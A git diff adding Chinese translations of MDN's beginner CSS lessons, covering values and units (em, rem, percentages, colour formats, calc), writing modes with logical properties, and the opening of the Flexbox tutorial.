单位的意思是“父元素的字体大小”</strong>。带有ems类的{{htmlelement("ul")}}内的{{htmlelement("li")}}元素从它们的父元素中获取大小。因此,每一个连续的嵌套级别都会逐渐变大,因为每个嵌套的字体大小都被设置为1.3em—是其父嵌套字体大小的1.3倍。</p> + +<p><strong>概括地说</strong><strong>,rem单位的意思是“根元素的字体大小”</strong>。(“根em”的rem标准。){{htmlelement("ul")}}内的{{htmlelement("li")}}元素和一个rems类从根元素(<code><html>)</code>中获取它们的大小。这意味着每一个连续的嵌套层都不会不断变大。</p> + +<p>但是,如果您在CSS中更改<html>字体大小,您将看到所有其他相关内容都发生了更改,包括rem和em大小的文本。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/values-units/em-rem.html", '100%', 1000)}} </p> + +<h3 id="百分比">百分比</h3> + +<p>在许多情况下,百分比与长度的处理方法是一样的。百分比的问题在于,它们总是相对于其他值设置的。例如,如果将元素的字体大小设置为百分比,那么它将是元素父元素字体大小的百分比。如果使用百分比作为宽度值,那么它将是父值宽度的百分比。</p> + +<p>在下面的示例中,两个百分比大小的框和两个像素大小的框具有相同的类名。这两款相机分别为200px和40%宽。</p> + +<p>不同之处在于,第二组两个框位于一个400像素宽的包装器中。第二个200px宽的盒子和第一个一样宽,但是第二个40%的盒子现在是400px的40%——比第一个窄多了!</p> + +<p>尝试更改包装器的宽度或百分比值,看看这是如何工作的。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/values-units/percentage.html", '100%', 850)}} </p> + +<p>下一个示例以百分比设置字体大小。每个<code><li></code>都有80%的字体大小,因此嵌套列表项在从父级继承其大小时将逐渐变小。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/values-units/percentage-fonts.html", '100%', 650)}} </p> + +<p>注意,虽然许多值接受长度或百分比,但也有一些值只接受长度。您可以在MDN属性引用页面上看到它能接受哪些值。如果允许的值包括<code><length-percent></code>,则可以使用长度或百分比。如果允许的值只包含<length>,则不可能使用百分比。</p> + +<h3 id="数字">数字</h3> + +<p>有些值接受数字,不添加任何单位。接受无单位数字的属性的一个例子是不透明度属性(<code>opacity</code> ),它控制元素的不透明度(它的透明程度)。此属性接受0(完全透明)和1(完全不透明)之间的数字。</p> + +<p>在下面的示例中,尝试将不透明度值更改为0到1之间的各种小数值,并查看框及其内容是如何变得透明或者不透明的。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/values-units/opacity.html", '100%', 500)}} </p> + +<div class="blockIndicator note"> +<p><strong>注意</strong>: 当您在CSS中使用数字作为值时,它不应该用引号括起来。</p> +</div> + +<h2 id="颜色">颜色</h2> + +<p>在CSS中指定颜色的方法有很多,其中一些是最近才实现的。在CSS中,相同的颜色值可以在任何地方使用,无论您指定的是文本颜色、背景颜色还是其他颜色。</p> + +<p>现代计算机的标准颜色系统是24位的,它允许通过不同的红、绿、蓝通道的组合显示大约1670万种不同的颜色,每个通道有256个不同的值(256 x 256 x 256 = 16,777,216)。让我们来看看在CSS中指定颜色的一些方法。</p> + +<div class="blockIndicator note"> +<p><strong>注意:</strong> 在本教程中,我们将研究具有良好浏览器支持的常用指定颜色的方法;虽然还有其他的,但是他们没有很好的支持,也不太常见。</p> +</div> + +<h3 id="颜色关键词">颜色关键词</h3> + +<p>在这学习示例或MDN上的其他示例中,您经常会看到使用的颜色关键字,因为它们是一种指定颜色的简单易懂的方式。有一些关键词,其中一些有相当有趣的名字!您可以在页面上看到 <code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/color_value"><color></a></code>值的完整列表。</p> + +<p><strong>在下面的示例中尝试使用不同的颜色值,以了解它们是如何工作的。</strong></p> + +<h3 id="十六进制RGB值">十六进制RGB值</h3> + +<p>您可能遇到的下一种颜色值类型是十六进制代码。每个十六进制值由一个散列/磅符号(#)和六个十六进制数字组成,每个十六进制数字都可以取0到f(代表15)之间的16个值中的一个——所以是0123456789abcdef。每对值表示一个通道—红色、绿色和蓝色—并允许我们为每个通道指定256个可用值中的任意一个(16 x 16 = 256)。</p> + +<p>这些值有点复杂,不太容易理解,但是它们比关键字更通用——您可以使用十六进制值来表示您想在配色方案中使用的任何颜色。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-hex.html", '100%', 700)}} </p> + +<p><strong>同样,大胆尝试更改值,看看颜色如何变化吧!</strong></p> + +<h3 id="RGB_和_RGBA的值">RGB 和 RGBA的值</h3> + +<p>我们将在这里讨论的第三种方案是RGB。RGB值是一个函数—RGB()—它有三个参数,表示颜色的红色、绿色和蓝色通道值,与十六进制值的方法非常相似。RGB的不同之处在于,每个通道不是由两个十六进制数字表示的,而是由一个介于0到255之间的十进制数字表示的——这有点容易理解。</p> + +<p>让我们重写上一个例子,使用RGB颜色:</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-rgb.html", '100%', 700)}} </p> + +<p>您还可以使用RGBA颜色——它们的工作方式与RGB颜色完全相同,因此您可以使用任何RGB值,但是有第四个值表示颜色的alpha通道,它控制不透明度。如果将这个值设置为<code>0</code>,它将使颜色完全透明,而设置为<code>1</code>将使颜色完全不透明。介于两者之间的值提供了不同级别的透明度。</p> + +<div class="blockIndicator note"> +<p><strong>注意</strong>: 在颜色上设置alpha通道与使用我们前面看到的{{cssxref("opacity")}}属性有一个关键区别。当你使用不透明度时,你让元素和它里面的所有东西都不透明,而使用RGBA颜色只让你指定的颜色不透明。</p> +</div> + +<p>在下面的例子中,我添加了一个背景图片到我们的彩色方块的包含块中。然后我设置了不同的不透明度值——注意当alpha通道值较小时, 背景如何显示的。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-rgba.html", '100%', 770)}}</p> + +<p><strong>在本例中,尝试更改alpha通道值,看看它如何影响颜色输出。</strong><strong> </strong></p> + +<div class="blockIndicator note"> +<p><strong>注意:</strong>在某种程度上,现代浏览器得到了更新,从而让<code>rgba()</code> 和<code>rgb()</code> (以及 <code>hsl()</code>和 <code>hsla()</code>;见下文)成为彼此的纯别名并开始表现完全相同,因此<code>rgba()</code> 和<code>rgb()</code> 接受带有和不带有alpha通道值的颜色。 尝试将上面示例的<code>rgba()</code> 函数更改为<code>rgb()</code> ,看看颜色是否仍然有效! 使用哪种样式由您决定,但是将非透明和透明的颜色定义分开使用不同的功能可以(非常)更好地支持浏览器,并且可以直观地指示代码中定义透明颜色的位置。</p> +</div> + +<h3 id="HSL_和_HSLA_的值">HSL 和 HSLA 的值</h3> + +<p>与RGB相比,HSL颜色模型的支持稍差一些(在旧版本的IE中不支持),它是在设计师们感兴趣之后实现的。<code>hsl()</code> 函数接受色调、饱和度和亮度值作为参数,而不是红色、绿色和蓝色值,这些值的不同方式组合,可以区分1670万种颜色:</p> + +<ul> + <li><strong>色调</strong>: 颜色的底色。这个值在0和360之间,表示色轮周围的角度。</li> + <li><strong>饱和度</strong>: 颜色有多饱和? 它的值为0 - 100%,其中0为无颜色(它将显示为灰色阴影),100%为全色饱和度</li> + <li><strong>亮度</strong>:颜色有多亮? 它从0 - 100%中获取一个值,其中0表示没有光(它将完全显示为黑色),100%表示完全亮(它将完全显示为白色)</li> +</ul> + +<p>我们可以更新RGB的例子来使用HSL颜色,就像这样:</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-hsl.html", '100%', 700)}} </p> + +<p>就像RGB有RGBA一样,HSL也有HSLA等效物,它使您能够指定alpha通道值。我已经在下面通过将RGBA示例更改为使用HSLA颜色来演示了这一点。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-hsla.html", '100%', 770)}} </p> + +<p>您可以在项目中使用这些颜色值中的任何一个。对于大多数项目,您可能会选择一个调色板,然后在整个项目中使用这些颜色——以及您所选择的定义这些颜色的方法。你可以混合使用不同的颜色模型,但是为了一致性,通常最好是你的整个项目使用相同的一个!</p> + +<h2 id="图片">图片</h2> + +<p><code><a href="/en-US/docs/Web/CSS/image"><image></a></code> 数据类型用于图像为有效值的任何地方。它可以是一个通过 <code>url()</code>函数指向的实际图像文件,也可以是一个渐变。</p> + +<p>在下面的例子中,我们演示了一个图像和一个渐变作为CSS <code>background-image</code>属性的值。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/values-units/image.html", '100%', 740)}} </p> + +<div class="blockIndicator note"> +<p><strong>注意:</strong><code><image></code>还有一些其他可能的值,但是这些都是较新的,并且目前对浏览器的支持很差。如果您想了解<code><image></code>数据类型,请查看MDN页面。</p> +</div> + +<h2 id="位置">位置</h2> + +<p><code><a href="/en-US/docs/Web/CSS/position_value"><position></a></code> 数据类型表示一组2D坐标,用于定位一个元素,如背景图像(通过 <code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/background-position">background-position</a></code>)。它可以使用关键字(如 <code>top</code>, <code>left</code>, <code>bottom</code>, <code>right</code>, 以及<code>center</code> )将元素与2D框的特定边界对齐,以及表示框的顶部和左侧边缘偏移量的长度。</p> + +<p>一个典型的位置值由两个值组成——第一个值水平地设置位置,第二个值垂直地设置位置。如果只指定一个轴的值,另一个轴将默认为 <code>center</code>。</p> + +<p>在下面的示例中,我们使用关键字将背景图像从容器的顶部到右侧放置了40px。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/values-units/position.html", '100%', 720)}} </p> + +<p><strong>尝试使用这些值,看看如何把这些图像移来移去。</strong></p> + +<h2 id="字符串和标识符">字符串和标识符</h2> + +<p>在上面的示例中,我们看到关键字被用作值的地方(例如<code><color></code>关键字,如 <code>red</code>, <code>black</code>, <code>rebeccapurple</code>, and <code>goldenrod</code>)。这些关键字被更准确地描述为标识符,一个CSS可以理解的特殊值。因此它们没有使用引号括起来——它们不被当作字符串。</p> + +<p>在某些地方可以使用CSS中的字符串,例如 <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements#Generating_content_with_before_and_after">在指定生成的内容时</a>。在本例中,引用该值以证明它是一个字符串。在下面的示例中,我们使用非引号括起来的颜色关键字和引号括起来的内容字符串。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/values-units/strings-idents.html", '100%', 550)}} </p> + +<h2 id="函数">函数</h2> + +<p>我们将查看的最后一种类型的值是一组称为函数的值。在编程中,函数是一段可重用的代码,可以多次运行,以完成重复的任务,对开发人员和计算机都是如此。函数通常与JavaScript、Python或c++等语言相关联,但它们也以属性值的形式存在于CSS中。我们已经在颜色部分看到了函数的作用——<code>rgb()</code>、<code>hsl()</code>等。用于从文件返回图像的值——<code>url()</code>——也是一个函数。</p> + +<p>行为更类似于传统编程语言的值是<code>calc()</code>函数。这个函数使您能够在CSS中进行简单的计算。如果您希望计算出在为项目编写CSS时无法定义的值,并且需要浏览器在运行时为您计算出这些值,那么它特别有用。</p> + +<p>例如,下面我们使用<code>calc()</code>使框宽为20% + 100px。20%是根据父容器.wrapper的宽度来计算的,因此如果宽度改变,它也会改变。我们不能事先做这个计算,因为我们不知道父类的20%是多少,所以我们使用<code>calc()</code>来告诉浏览器为我们做这个计算。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/values-units/calc.html", '100%', 450)}}</p> + +<h2 id="总结">总结</h2> + +<p>本文简要介绍了您可能会遇到的最常见的值和单位类型。你可以看看所有不同类型的 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Values_and_Units">CSS的值和单位</a> 参考页面;当你学习这些课程时,你将会遇到很多这样的情况。</p> + +<p>需要记住的关键一点是,每个属性都有一个已定义的允许值列表,每个值都有一个定义来解释子值是什么。然后您可以在MDN上查看详细信息。</p> + +<p>例如,理解 <code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/image"><image></a></code>还允许您创建一个颜色渐变有意义的,但也许这个章节并不会提供太多明显的相关知识!</p> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="模块目录">模块目录</h2> + +<ol> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">层叠与继承</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors">CSS选择器</a> + <ul> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">标签,类,ID选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">伪类和伪元素</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Combinators">关系选择器</a></li> + </ul> + </li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/The_box_model">盒模型</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景与边框</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">处理不同文字方向的文本</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Overflowing_content">溢出的内容</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Values_and_units">值和单位</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">在CSS中调整大小</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Images_media_form_elements">图像、媒体和表单元素</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Styling_tables">样式化表格</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Debugging_CSS">调试CSS</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Organizing">组织CSS</a></li> +</ol> diff --git a/files/zh-cn/learn/css/building_blocks/处理_不同_方向的_文本/index.html b/files/zh-cn/learn/css/building_blocks/处理_不同_方向的_文本/index.html new file mode 100644 index 0000000000..f907c93a3c --- /dev/null +++ b/files/zh-cn/learn/css/building_blocks/处理_不同_方向的_文本/index.html @@ -0,0 +1,151 @@ +--- +title: 处理不同方向的文本 +slug: Learn/CSS/Building_blocks/处理_不同_方向的_文本 +translation_of: Learn/CSS/Building_blocks/Handling_different_text_directions +--- +<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}}</div> + +<p>目前为止我们在CSS学习中遇到的许多属性和属性值与显示器的物理尺度紧密相关。例如,我们会在上、右、下、左设置边框。这些物理尺寸与水平排布的文本相得益彰,并且,默认浏览器对方向从左到右的文本(如英文或法文)的支持,要优于从右到左的文本(如阿拉伯语)的支持。</p> + +<p>然而,CSS在最近几年得到了改进,以更好地支持不同方向的文本,包括从右到左,也包括从上到下的文本(如日文)——这些不同的方向属性被称为书写模式。随着学习的深入,当你开始试着对页面进行布局时,对书写模式的了解将会对你很有帮助,为此我们在这里加以介绍。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">先决条件:</th> + <td>计算机基础知识,基本软件(参见<a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">basic software installed</a>),文件管理的基本知识(参见<a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">working with files</a>),HTML基础(HTML 学习<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>)以及CSS基础(学习<a href="/en-US/docs/Learn/CSS/First_steps">CSS first steps</a>)。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>了解书写模式对现代CSS的重要</td> + </tr> + </tbody> +</table> + +<h2 id="什么是书写模式">什么是书写模式</h2> + +<p>CSS中的书写模式是指文本的排列方向是横向还是纵向的。{{cssxref("writing-mode")}} 属性使我们从一种模式切换到另一种模式。为此,你不必使用一种竖向的语言——你还可以更改部分文字的方向以实现创新性的布局。</p> + +<p>下面的例子中,我们使用<code>writing-mode: vertical-rl</code>对一个标题的显示进行设置。现在,标题文本是竖向的了。竖向文本在平面设计中很常见,也可以为你的网页设计增添更加有趣的外观。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/simple-vertical.html", '100%', 800)}}</p> + +<p><code><a href="/en-US/docs/Web/CSS/writing-mode">writing-mode</a></code>的三个值分别是:</p> + +<ul> + <li><code>horizontal-tb</code>: 块流向从上至下。对应的文本方向是横向的。</li> + <li><code>vertical-rl</code>: 块流向从右向左。对应的文本方向是纵向的。</li> + <li><code>vertical-lr</code>: 块流向从左向右。对应的文本方向是纵向的。</li> +</ul> + +<p>因此,<code>writing-mode</code>属性实际上设定的是页面上块级元素的显示方向——要么是从上到下,要么是从右到左,要么是从左到右。而这决定了文本的方向。</p> + +<h2 id="书写模式、块级布局和内联布局">书写模式、块级布局和内联布局</h2> + +<p>我们已经讨论了块级布局和内联布局(<a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model#Block_and_inline_boxes">block and inline layout</a>),也知道外部显示类型元素分为块级元素和内联元素。如上所述,块级显示和内联显示与文本的书写模式(而非屏幕的物理显示)密切相关。如果你使用书写模式的显示是横向的,如英文,那么块在页面上的显示就是从上到下的。</p> + +<p>用一个例子可以更清楚地说明这一点。下一个例子中有两个盒子,分别包含一个标题和一个段落。第一个盒子应用的是<code>writing-mode: horizontal-tb</code>,这是一个从上到下的横向的书写模式。第二个盒子应用的是<code>writing-mode: vertical-rl</code>,这是一个从右到左的纵向的书写模式。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/block-inline.html", '100%', 1200)}}</p> + +<p>当我们切换书写模式时,我们也在改变块和内联文本的方向。<code>horizontal-tb</code>书写模式下块的方向是从上到下的横向的,而 <code>vertical-rl</code>书写模式下块的方向是从右到左的纵向的。因此,块维度指的总是块在页面书写模式下的显示方向。而内联维度指的总是文本方向。 </p> + +<p>这张图展示了在水平书写模式下的两种维度。<img alt="" src="https://mdn.mozillademos.org/files/17148/horizontal-tb-zh.png" style="height: 353px; width: 634px;"></p> + +<p>这张图片展示了纵向书写模式下的两种维度。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/17149/vertical-zh.png"></p> + +<p>一旦你开始接触CSS布局,尤其是更新的布局方法,这些关于块级元素和内联元素的概念会变得非常重要。我之后会返回来再看。</p> + +<h3 id="方向">方向</h3> + +<p>除了书写模式,我们还可以设置文本方向。正如上面所言,有些语言(如阿拉伯语)是横向书写的,但是是从右向左。当你在对页面布局进行创新时,你可能不这么使用——如果你只是想讲某部分内容放到右边排列下来,还有其他方法可以选择——然而,重要的是能意识到,这其实是CSS本身功能的一部分。网页可不仅限于从左向右排列的语言!</p> + +<p>由于书写模式和文本方向都是可变的,新的CSS布局方法不再定义从左到右和从上到下,而是将这些连同内联元素和块级元素的<em>开头</em>和<em>结尾</em>一起考量。现在不必过于担心,但是带着这些概念开始你的布局,你会发现这对你掌握CSS非常有用。</p> + +<h2 id="逻辑属性和逻辑值">逻辑属性和逻辑值</h2> + +<p>我们之所以要在这里探讨书写模式和方向,是因为目前为止我们已经了解了很多与屏幕的物理显示密切相关的很多属性,而书写模式和方向在水平书写模式下会很有意义。</p> + +<p>让我们再来看看那两个盒子——一个用<code>horizontal-tb</code>设定了书写模式,一个用<code>vertical-rl</code>设定了书写模式。我为这两个盒子分别设定了宽度( {{cssxref("width")}})。可以看到,当盒子处于纵向书写模式下时,宽度也发生了变化,从而导致文本超出了盒子的范围。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/width.html", '100%', 1200)}}</p> + +<p>通过这一些列调整,我们想要的实际上是使宽和高随着书写模式一起变化。当处于纵向书写模式之下时,我们希望盒子可以向横向模式下一样得到拓宽。</p> + +<p>为了更容易实现这样的转变,CSS最近开发了一系列映射属性。这些属性用逻辑(<strong>logical</strong>)和相对变化(<strong>flow relative</strong>)代替了像宽<code>width</code>和高<code>height</code>一样的物理属性。</p> + +<p>横向书写模式下,映射到<code>width</code>的属性被称作内联尺寸({{cssxref("inline-size")}})——内联维度的尺寸。而映射<code>height</code>的属性被称为块级尺寸({{cssxref("block-size")}}),这是块级维度的尺寸。下面的例子展示了替换掉<code>width</code>的<code>inline-size</code>是如何生效的。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/inline-size.html", '100%', 1200)}}</p> + +<h3 id="逻辑外边距、边框和内边距属性">逻辑外边距、边框和内边距属性</h3> + +<p>我们在前面两节中学习了CSS的盒模型和CSS边框。在外边距、边框和内边距属性中,你会发现许多物理属性,例如 {{cssxref("margin-top")}}、 {{cssxref("padding-left")}}和 {{cssxref("border-bottom")}}。就像width和height有映射,这些属性也有相应的映射。</p> + +<p><code>margin-top</code>属性的映射是{{cssxref("margin-block-start")}}——总是指向块级维度开始处的边距。</p> + +<p>{{cssxref("padding-left")}}属性映射到 {{cssxref("padding-inline-start")}},这是应用到内联开始方向(这是该书写模式文本开始的地方)上的内边距。{{cssxref("border-bottom")}}属性映射到的是{{cssxref("border-block-end")}},也就是块级维度结尾处的边框。</p> + +<p>下面是物理和逻辑属性之间的对比。</p> + +<p><strong>如果你用<code>writing-mode</code>把盒子<code>.box</code>的书写模式改为<code>vertical-rl</code>,你将会看到尽管盒子的物理方向变了,盒子的物理属性仍然没变,然而逻辑属性会随着书写模式一起改变。</strong></p> + +<p><strong>你还可以看到,二级标题{{htmlelement("h2")}}有一个黑色的底部边框<code>border-bottom</code>。你知道如何使得底部边框无论在那种书写模式下都位于文本的下方吗?</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/logical-mbp.html", '100%', 1200)}}</p> + +<p>对于每一个普通边距,都有许多属性可以参考,你可以在MDN页面(<a href="/en-US/docs/Web/CSS/CSS_Logical_Properties">Logical Properties and Values</a>)查看所有映射属性。</p> + +<h3 id="逻辑值">逻辑值</h3> + +<p>目前为止我们看到的都是逻辑属性的名称。还有一些属性的取值是一些物理值(如<code>top</code>、<code>right</code>、<code>bottom</code>和<code>left</code>)。这些值同样拥有逻辑值映射(<code>block-start</code>、<code>inline-end</code>、<code>block-end</code>和<code>inline-start</code>)。</p> + +<p>例如,你可以将一张图片移到左边,并使文本环绕图片。你可以将<code>left</code>替换为<code>inline-start</code> ,就像下面的例子中一样。</p> + +<p><strong>将这个例子的书写模式改为<code>vertical-rl</code>,看看图片会发生什么。将<code>inline-start</code>改为<code>inline-end</code>来改变图片的移动。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/float.html", '100%', 1200)}}</p> + +<p>之类,我们同样使用逻辑边距值来保证在任何书写模式下边距的位置都是对的。</p> + +<div class="blockIndicator note"> +<p>译者注:<code><a href="/zh-CN/docs/CSS/float">float</a></code>的逻辑值暂时只有Firefox和Firefox for Android支持,上面的例子可能无法生效。</p> +</div> + +<h3 id="应该使用物理属性还是逻辑属性呢?">应该使用物理属性还是逻辑属性呢?</h3> + +<p>逻辑属性是在物理属性之后出现的,因而最近才开始在浏览器中应用。你可以通过查看MDN的属性页面来了解浏览器对逻辑属性的支持情况。如果你并没有应用多种书写模式,那么现在你可能更倾向于使用物理属性,因为这些在你使用弹性布局和网格布局时非常有用。</p> + +<h2 id="总结">总结</h2> + +<p>本章介绍的概念在CSS的重要性越来越大。了解块级方向和内联方向,以及文本的排列方向如何随书写模式发生变化,将来会非常有用。即便你仅使用横向的书写模式,这也能帮助你了解。</p> + +<p>在下一部分,我们将会看一下CSS中的溢出。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="模块目录">模块目录</h2> + +<ol> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">层叠与继承</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors">CSS选择器</a> + <ul> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">标签,类,ID选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">伪类和伪元素</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Combinators">关系选择器</a></li> + </ul> + </li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/The_box_model">盒模型</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景与边框</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">处理不同文字方向的文本</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Overflowing_content">溢出的内容</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Values_and_units">值和单位</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">在CSS中调整大小</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Images_media_form_elements">图像、媒体和表单元素</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Styling_tables">样式化表格</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Debugging_CSS">调试CSS</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Organizing">组织CSS</a><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing"> </a></li> +</ol> diff --git a/files/zh-cn/learn/css/css_layout/flexbox/index.html b/files/zh-cn/learn/css/css_layout/flexbox/index.html new file mode 100644 index 0000000000..22b14745c6 --- /dev/null +++ b/files/zh-cn/learn/css/css_layout/flexbox/index.html @@ -0,0 +1,329 @@ +--- +title: 弹性盒子 +slug: Learn/CSS/CSS_layout/Flexbox +tags: + - CSS + - CSS 布局 + - Layouts + - Learn + - flexbox + - 初学者 + - 弹性框 + - 教程 + - 文章 +translation_of: Learn/CSS/CSS_layout/Flexbox +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Practical_positioning_examples", "Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout")}}</div> + +<p class="summary">弹性盒子是一种用于按行或按列布局元素的一维布局方法 。元素可以膨胀以填充额外的空间, 收缩以适应更小的空间。 本文将解释所有的基本原理。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>HTML 基础 (study <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>),和了解CSS如何工作的(study <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a>.)</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>学会如何使用弹性盒子布局系统来创建Web布局。</td> + </tr> + </tbody> +</table> + +<h2 id="为什么是_弹性盒子">为什么是 弹性盒子?</h2> + +<p>长久以来,CSS 布局中唯一可靠且跨浏览器兼容的创建工具只有 <a href="/zh-CN/docs/Learn/CSS/CSS_layout/Floats">floats</a> 和 <a href="/zh-CN/docs/Learn/CSS/CSS_layout/Positioning">positioning</a>。这两个工具大部分情况下都很好使,但是在某些方面它们具有一定的局限性,让人难以完成任务。</p> + +<p>以下简单的布局需求是难以或不可能用这样的工具( <a href="/zh-CN/docs/Learn/CSS/CSS_layout/Floats">floats</a> 和 <a href="/zh-CN/docs/Learn/CSS/CSS_layout/Positioning">positioning</a>)方便且灵活的实现的:</p> + +<ul> + <li>在父内容里面垂直居中一个块内容。</li> + <li>使容器的所有子项占用等量的可用宽度/高度,而不管有多少宽度/高度可用。</li> + <li>使多列布局中的所有列采用相同的高度,即使它们包含的内容量不同。</li> +</ul> + +<p>正如你将在后面的章节中看到的一样,弹性盒子使得很多布局任务变得更加容易。让我们继续吧!</p> + +<h2 id="一个简单的例子">一个简单的例子</h2> + +<p>在本文中,我们将通过一系列练习来帮助你了解 弹性盒子的工作原理。开始前,您应该拷贝 mozila github 仓库的 <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox0.html">弹性盒子0.html</a> 到本地 。在现代浏览器里打开它(比如 Firefox、Chrome),然后打开你的编辑器看一眼它的代码。你可以看它的<a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flexbox0.html">线上</a>实例。</p> + +<p>你可以看到这个页面有一个含有顶级标题的 {{htmlelement("header")}} 元素,和一个包含三个 {{htmlelement("article")}} 的 {{htmlelement("section")}} 元素。我们将使用这些来创建一个非常的标准三列布局,如下所示:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13406/flexbox-example1.png" style="border-style: solid; border-width: 1px; display: block; height: 324px; margin: 0px auto; width: 800px;"></p> + +<h2 id="指定元素的布局为_flexible">指定元素的布局为 flexible</h2> + +<p>首先,我们需要选择将哪些元素将设置为柔性的盒子。我们需要给这些 flexible 元素的父元素 {{cssxref("display")}} 设置一个特定值。在本例中,我们想要设置 {{htmlelement("article")}} 元素,因此我们给 {{htmlelement("section")}}(变成了 flex 容器)设置 display:</p> + +<pre class="brush: css">section { + display:flex +}</pre> + +<p>结果如下:</p> + +<p><br> + <img alt="" src="https://mdn.mozillademos.org/files/13408/flexbox-example2.png" style="border-style: solid; border-width: 1px; display: block; height: 348px; margin: 0px auto; width: 800px;"></p> + +<p>所以,就这样一个简单的声明就给了我们所需要的一切—非常不可思议,对吧? 我们的多列布局具有大小相等的列,并且列的高度都是一样。 这是因为这样的 flex 项(flex容器的子项)的默认值是可以解决这些的常见问题的。 后面还有更多内容。</p> + +<div class="note"> +<p><span style="font-size: 14px;"><strong>注意:</strong>假如你想设置行内元素为 flexible box,也可以置</span> {{cssxref("display")}} 属性的值为 <code>inline-flex。</code></p> +</div> + 